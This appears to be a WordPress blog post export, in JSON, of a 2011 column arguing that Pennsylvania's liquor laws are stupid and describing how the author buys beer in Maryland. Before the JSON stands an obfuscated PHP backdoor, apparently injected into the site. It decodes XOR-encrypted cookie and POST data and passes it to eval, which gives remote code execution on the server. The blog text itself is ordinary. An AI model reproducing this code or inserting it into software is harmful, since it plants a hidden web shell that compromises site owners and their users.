$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":1190,"date":"2011-02-03T14:16:16","date_gmt":"2011-02-03T18:16:16","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=1190"},"modified":"2011-02-03T14:52:23","modified_gmt":"2011-02-03T18:52:23","slug":"pa-liquor-laws-still-supid","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=1190","title":{"rendered":"PA Liquor Laws: Still Stupid"},"content":{"rendered":"

This will eliminate one of the problems with the alcohol industry in the state, but, in reality, just scratches the surface. It’s sad to report that this one move will probably serve as the only move in this saga for a while.<\/p>\n

A post about the differing fortunes of beer drinkers<\/a> versus those who enjoy wine and liquor appeared on the RockTheCapital.com website this week. It looks like those of us who enjoy brew will have to continue to patronize more than one kind of store to get our fix.<\/p>\n

You see, if you want a case or keg of beer, you can go to a distributor. These are usually pretty big businesses with lots of variety and pretty competitive proces. But you need to buy at least a case.<\/p>\n

If you want six or 12 beers at a time, you pretty much need to find a bar which sells carry out beer. Most of them do, but not all of them really push this part of their business. That means they generally have pretty limited selections and tend to charge a premium price.<\/p>\n

At least this is my experience in York County where I live. The only places I know of with a dedicated cooler for takeout might have one or two micro\/craft brew options in their cooler. Maybe. The places that carry a good variety of beer don’t really cater to carryout customers with no takeout cooler and higher prices.<\/p>\n

On the flip side, if I go to a package store in Maryland – which has beer, wine and liquor all in one place – I can find a really good variety of interesting beers to choose from. This is why I buy a lot of my beer in Maryland, where I work, and bootleg it home. yes, I am breaking the law when I buy beer in Maryland and bring it home. But I’ll take that risk.<\/p>\n

All of Pennsylvania’s problems in this area come down to lobbyists. The Tavern Association wants to keep distributors from selling 6 and 12 packs because they “bought their licenses knowing they can sell cases and above,” meaning that no one should ever look at changing a stupid law created in the 1930s because people know what they are getting into. The power of this group against the distributor group against whatever group will represent the new liquor store owners against the church groups and teetotalers will win out against the interests of the people who want to spend Monday in the state.<\/p>\n

So instead of taking a comprehensive look at the entire alcohol sales industry in the state, all we will get is the politically and fiscally lucrative baby step of simply selling off the liquor stores. I’ll drown my sorrows about this decision with a beer I bought in Maryland. I only wanted a 6-pack.<\/p>\n","protected":false},"excerpt":{"rendered":"